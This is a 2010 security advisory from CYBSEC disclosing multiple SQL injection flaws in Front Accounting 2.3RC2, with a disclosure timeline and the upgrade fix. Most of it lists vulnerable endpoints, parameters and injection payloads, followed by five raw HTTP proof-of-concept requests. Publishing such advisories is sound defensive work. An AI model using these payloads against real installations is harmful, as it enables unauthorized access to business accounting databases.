Front Accounting 2.3RC2 Multiple SQL Injection Vulnerabilities

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Front Accounting 2.3RC2 Multiple SQL Injection Vulnerabilities
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Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.
 
Affected Platforms: Any running Front Accounting v2.3RC2
 
Local / Remote: Remote
 
Severity: High - CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
 
Researcher: Juan Manuel Garcia
 
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
 
Vulnerability Description:
 
Multiple vulnerabilities has been discovered in Front Accounting, which can be exploited by attackers
 
to conduct SQL injection attacks.
 
At least the following parameters are not properly sanitized:
 
http://xxx.xxx.xxx.xxx/admin/fiscalyears.php
 
The attacker can set parameter 'from_date's value to '01%2F01%2F2008%27%3B'
 
http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php
 
The attacker can set parameter 'ref's value to '1234%27%3B'
 
The attacker can set parameter 'trans_no's value to '31%20having%201=1--'
 
http://xxx.xxx.xxx.xxx/dimensions/view/view_dimension.php
 
The attacker can set parameter 'trans_no's value to '3';'
 
http://xxx.xxx.xxx.xxx/gl/bank_account_reconcile.php
 
The attacker can set parameter 'reconcile_date's value to '1234%27%3B'
 
http://xxx.xxx.xxx.xxx/gl/inquiry/balance_sheet.php
 
The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
 
http://xxx.xxx.xxx.xxx/gl/inquiry/bank_inquiry.php
 
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_account_inquiry.php
 
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_trial_balance.php
 
http://xxx.xxx.xxx.xxx/gl/inquiry/profit_loss.php
 
http://xxx.xxx.xxx.xxx/gl/inquiry/tax_inquiry.php
 
The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
 
The attacker can set parameter 'TransToDate's value to '1234%27%3B'
 
http://xxx.xxx.xxx.xxx/gl/inquiry/journal_inquiry.php
 
The attacker can set parameter 'FromDate's value to '1234%27%3B'
 
The attacker can set parameter 'Memo's value to '1234%27%3B'
 
The attacker can set parameter 'Ref's value to '1234%27%3B'
 
The attacker can set parameter 'ToDate's value to '1234%27%3B'
 
http://xxx.xxx.xxx.xxx/inventory/inquiry/stock_movements.php
 
The attacker can set parameter 'AfterDate's value to '1234%27%3B'
 
The attacker can set parameter 'BeforeDate's value to '1234%27%3B'
 
http://xxx.xxx.xxx.xxx/manufacturing/work_order_add_finished.php
 
The attacker can set parameter 'ref's value to '1234%27%3B'
 
The attacker can set parameter 'selected_id's value to '181+having+1%3D1--'
 
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
 
http://xxx.xxx.xxx.xxx/manufacturing/work_order_issue.php
 
The attacker can set parameter 'IssueType's value to '1%29+having+1%3D1--'
 
The attacker can set parameter 'Location's value to 'SH%27%3B'
 
The attacker can set parameter 'WorkCentre's value to '1%27%3B'
 
The attacker can set parameter '_focus's value to '_stock_id_edit%27%3B'
 
The attacker can set parameter '_stock_id_edit's value to '%27%3B'
 
The attacker can set parameter '_stock_id_update's value to '+%27%3B'
 
The attacker can set parameter 'date_'s value to '1234%27%3B'
 
The attacker can set parameter 'memo_'s value to '1234%27%3B'
 
The attacker can set parameter 'qty's value to '1234%27%3B'
 
The attacker can set parameter 'ref's value to '1234%27%3B'
 
The attacker can set parameter 'std_cost's value to '1234%27+having+1%3D1--'
 
The attacker can set parameter 'stock_id's value to 'Business1%27%3B'
 
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
 
http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php
 
The attacker can set parameter 'PONumber's value to '351%20having%201=1--'
 
http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php
 
The attacker can set parameter 'invoice_no's value to '21';'
 
The attacker can set parameter 'receive_begin's value to '1234%27%3B'
 
The attacker can set parameter 'receive_end's value to '1234%27+having+1%3D1--'
 
http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php
 
The attacker can set parameter 'PARAM_1's value to '361%20having%201=1--'
 
http://xxx.xxx.xxx.xxx/sales/customer_credit_invoice.php
 
The attacker can set parameter 'InvoiceNumber's value to '106';'
 
Other parameters might also be affected.
 
Some Proof of Concepts:
 
* http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php?trans_no=
 
PoC:
 
GET /dimensions/dimension_entry.php?trans_no=31%20having%201=1-- HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=cbe43b3ad36c2622030f8b1093144916
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: xxx.xxx.xxx.xxx
 
Referer: http://xxx.xxx.xxx.xxx/dimensions/inquiry/search_dimensions.php
 
* http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=
 
PoC:
 
GET /purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=11%20having%201=1--
 
HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: xxx.xxx.xxx.xxx
 
Referer: http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocation_main.php
 
* http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php?PONumber=
 
PoC:
 
GET /purchasing/po_receive_items.php?PONumber=351%20having%201=1-- HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: xxx.xxx.xxx.xxx
 
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/po_search.php
 
* http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php?New=1&invoice_no=
 
PoC:
 
GET /purchasing/supplier_credit.php?New=1&invoice_no=21'; HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: xxx.xxx.xxx.xxx
 
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/supplier_inquiry.php
 
* http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php?PARAM_0=36&PARAM_1=3
 
PoC:
 
GET /reporting/prn_redirect.php?PARAM_0=36&PARAM_1=361%20having%201=1--
 
&PARAM_2=&PARAM_3=0&PARAM_4=&REP_ID=111 HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=a3101d91a3ae6ede3e0ab57f90c03b79
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: xxx.xxx.xxx.xxx
 
Referer: http://xxx.xxx.xxx.xxx/sales/inquiry/sales_orders_view.php?type=32
 
Impact:
 
An attacker can execute arbitrary SQL queries that would allow him to gain unauthorized access to the
 
database, application or server.
 
Solution:
 
Upgrade to FrontAccounting v2.3RC3
 
Vendor Response:
 
2010-10-12 - Vulnerability was identified
 
2010-10-13 - Vendor contacted
 
10/16/2010 Vendor confirmed vulnerability
 
10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3
 
10/29/2010 Vulnerability was released
 
Contact Information:
 
For more information regarding the vulnerability feel free to contact the researcher at
 
jmgarcia <at> cybsec <dot> com
 
About CYBSEC S.A. Security Systems
 
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
 
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
 
proof of their professional life.
 
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
 
software and/or hardware provider companies.
 
Our services are strictly focused on Information Security, protecting our clients from emerging security
 
threats, maintaining their IT deployments available, safe, and reliable.
 
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
 
and contributing with the security community with high quality information exchange.



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